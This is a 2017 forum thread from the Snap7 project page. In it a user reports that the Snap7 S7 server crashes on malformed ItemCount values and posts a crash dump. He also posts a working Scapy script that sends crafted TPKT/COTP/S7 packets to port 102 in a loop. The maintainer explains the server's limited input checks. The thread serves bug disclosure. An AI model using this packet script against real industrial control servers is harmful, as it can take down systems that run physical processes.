Menu

Snap7 Server crashes when provided with unexpected input

Martin T
2017-05-13
2017-05-14
  • Martin T

    Martin T - 2017-05-13

    Hi,

    OS: Windows 10 32bit
    Snap7 version: 1.4.1

    The Snap7 Server (server.exe from the provided examples) is crashing when the ItemCount field of the ReadVariable, ReadVariableMultiple, WriteVariable or WriteVariableMultiple is provided with unexpected values.

    For example the value of 0x76 provided to the WriteVariable function will lead to the following exception:

    [INVALID]:0083dc2d add [eax],al from thread 3128 caused access violation
                                    when attempting to write to 0x00000000
    
                                    CONTEXT DUMP
                                      EIP: 0083dc2d add [eax],al
                                      EAX: 00000000 (         0) -> N/A
                                      EBX: 00000000 (         0) -> N/A
                                      ECX: 0083dc2d (   8641581) ->  (heap)
                                      EDX: 77505b30 (2001754928) -> N/A
                                      EDI: 00000000 (         0) -> N/A
                                      ESI: 00000000 (         0) -> N/A
                                      EBP: 02521218 (  38933016) -> RZPwRLqRR-Rr8IwRLqRR-RRRLqLqr2qLqONR8OwRRRR- (stack)
                                      ESP: 025211f8 (  38932984) -> [PwRLqRRR0[PwLqRZPwRLqRR-Rr8IwRLqRR-RRRLqLqr2qLqONR8OwRR (stack)
                                      +00: 77505b12 (2001754898) -> N/A
                                      +04: 02521300 (  38933248) -> -8;##0[Pw-R-FxR# (stack)
                                      +08: 0271ff4c (  41025356) -> N/A
                                      +0c: 0252131c (  38933276) -> 8;##0[Pw-R-FxR# (stack)
                                      +10: 0252128c (  38933132) -> Lq (stack)
                                      +14: 0252178c (  38934412) -> R0[PwLqhRZPwRLqRR-Rr8IwRLqRR-RRRLqLqr2qLqKR8OwRRRR (stack)
    
                                   disasm around:
                                            0x0083dc19 add [eax],al
                                            0x0083dc1b add [eax],al
                                            0x0083dc1d add [eax],al
                                            0x0083dc1f add [eax],al
                                            0x0083dc21 add [eax],al
                                            0x0083dc23 add [eax],al
                                            0x0083dc25 add [eax],al
                                            0x0083dc27 add [eax],al
                                            0x0083dc29 add [eax],al
                                            0x0083dc2b add [eax],al
                                            0x0083dc2d add [eax],al
                                            0x0083dc2f add [eax],al
                                            0x0083dc31 add [eax],al
                                            0x0083dc33 add [eax],al
                                            0x0083dc35 add [eax],al
                                            0x0083dc37 add [eax],al
                                            0x0083dc39 add [eax],al
                                            0x0083dc3b add [eax],al
                                            0x0083dc3d add [eax],al
                                            0x0083dc3f add [eax],al
                                            0x0083dc41 add [eax],al
    
                                    stack unwind:
                                            ntdll.dll:77505ae4
                                            ntdll.dll:774f380f
                                            ntdll.dll:77505ae4
                                            ntdll.dll:774f380f
                                            ntdll.dll:77505ae4
                                            ntdll.dll:774f380f
                                            (output snipped because is too long)
                                             ntdll.dll:77505ae4
                                            ntdll.dll:774f380f
    
                                    SEH unwind:
                                            0252178c -> ntdll.dll:77505b30 mov ecx,[esp+0x4]
                                            02521d0c -> ntdll.dll:77505b30 mov ecx,[esp+0x4]
                                            0252228c -> ntdll.dll:77505b30 mov ecx,[esp+0x4]
                                            0252280c -> ntdll.dll:77505b30 mov ecx,[esp+0x4]
                                            02522d8c -> ntdll.dll:77505b30 mov ecx,[esp+0x4]
                                            0252330c -> ntdll.dll:77505b30 mov ecx,[esp+0x4]
                                            0252388c -> ntdll.dll:77505b30 mov ecx,[esp+0x4]
                                            02523e0c -> ntdll.dll:77505b30 mov ecx,[esp+0x4]
                                            0252438c -> ntdll.dll:77505b30 mov ecx,[esp+0x4]
                                            0252490c -> ntdll.dll:77505b30 mov ecx,[esp+0x4]
                                            02524e8c -> ntdll.dll:77505b30 mov ecx,[esp+0x4]
                                            0252540c -> ntdll.dll:77505b30 mov ecx,[esp+0x4]
                                            0252598c -> ntdll.dll:77505b30 mov ecx,[esp+0x4]
                                            02525f0c -> ntdll.dll:77505b30 mov ecx,[esp+0x4]
                                            0252648c -> ntdll.dll:77505b30 mov ecx,[esp+0x4]
                                            02526a0c -> ntdll.dll:77505b30 mov ecx,[esp+0x4]
                                            02526f8c -> ntdll.dll:77505b30 mov ecx,[esp+0x4]
                                             (output snipped because is too long)
                                             0271e38c -> ntdll.dll:77505b30 mov ecx,[esp+0x4]
                                            0271e90c -> ntdll.dll:77505b30 mov ecx,[esp+0x4]
                                            0271ff4c -> ntdll.dll:77505b30 mov ecx,[esp+0x4]
                                            0083dc29 -> [INVALID]:0083dc2d add [eax],al
                                            00000000 -> [INVALID]:00000000 Unable to disassemble at 00000000
                                            ffffffff -> [INVALID]:ffffffff Unable to disassemble at ffffffff
    

    Similarly, providing unexpected value to the ReadVariable function will lead to: "caused access violation when attempting to read from 0x00000000".

    What is the reason for those exceptions? The memory address is aways 0x00000000, which is within the Null pointer assignment partition, therefore it sounds like a NullPointer exception.

     

    Last edit: Martin T 2017-05-13
  • Davide Nardella

    Davide Nardella - 2017-05-14

    Hi,
    could you provide an example so I can reproduce the problem ?
    Are you using Snap7 as client too ?
    This happens only for Itemcount ?

     
  • Martin T

    Martin T - 2017-05-14

    I am using a packet manupulator called Scapy as a client. It create custom packets, which I then excute towards the Snap7 server. Only seen this happen for ItemCount.

    Here is a sample Scapy script, which will crash the server. I run the script from a remote Lubuntu machine, while the Snap7 server is running on 192.168.0.9 under Windows 10.

    You can repoduce this by installing Scapy and running the script (adjust the IP accordingly):

    sudo apt-get install python-scapy
    sudo python scapy-script-name.py
    

    Scapy script:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    #!/usr/local/bin/python
    
    from scapy.all import *
    mysocket=socket.socket()
    mysocket.connect(("192.168.0.9",102))
    
    mystream=StreamSocket(mysocket)
    
    print "TPKT/COTP Connect confirm"
    
    mystream.send(Raw('\x03\x00\x00\x16\x11\xe0\x00\x00\x00\x01\x00\xc0\x01\x0a\xc1\x02\x01\x00\xc2\x02\x01\x02'))
    
    print "TPKT/COTP/S7 setup communication"
    
    mystream.send(Raw('\x03\x00\x00\x19\x02\xf0\x80\x32\x01\x00\x00\x00\x00\x00\x08\x00\x00\xf0\x00\x00\x01\x00\x01\x01\xe0'))
    
    while True:
    
     print "TPKT/COTP/S7 Write Variable with \x76, instead of \x01 as ItemCount"
    
     mystream.send(Raw('\x03\x00\x00\x24\x02\xf0\x80\x32\x01\x00\x00\x05\x00\x00\x0e\x00\x05\x05\x76\x12\x0a\x10\x02\x00\x01\x00\x01\x84\x00\x00\x00\x00\x04\x00\x08\x00'))
    
    mysocket.close()
    
     

    Last edit: Martin T 2017-05-14
  • Davide Nardella

    Davide Nardella - 2017-05-14

    Martin,
    TS7Worker::PerformFunctionRead() and TS7Worker::PerformFunctionWrite() check that ItemCount is not greater than MaxVars (20).
    After that it expects "ItemCount" well formatted records from which get info about the variables that must be read or write.
    Checking that the following memory contains valid data or rubbish is not so simple.

    Snap7Server is meant to be used with "standard" partners (commercial HMI, OPC...).
    If you need that your application must be shielded against selfmade packets you can introduce further checks (but, i repeat, is very hard to do with the structure of S7Protocol) into TS7Worker::PerformFunctionRead() and TS7Worker::PerformFunctionWrite().

    You can find them into s7_server.cpp.

     

Log in to post a comment.

Want the latest updates on software, tech news, and AI?
Get latest updates about software, tech news, and AI from SourceForge directly in your inbox once a month.